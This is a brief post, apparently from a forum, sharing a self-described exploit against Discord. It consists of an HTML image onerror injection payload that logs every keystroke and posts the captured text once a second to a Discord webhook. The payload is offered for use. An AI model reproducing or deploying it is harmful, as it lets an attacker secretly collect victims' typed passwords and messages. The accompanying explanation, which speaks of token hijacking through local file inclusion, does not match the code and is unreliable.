Today I am sharing a very nice exploit for the application discord.
What this code does is it token hijacks a user via a webhook using local file inclusion allowing us to keylog the users every keystroke. <img src onerror='let x=!1,l="";document.onkeypress=function(a){l+=a.key,x=!0},setInterval(()=>{x&&(fetch("//discord.com/api/webhook/...",{method:"post",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:l})}),x=!1)},1e3);'>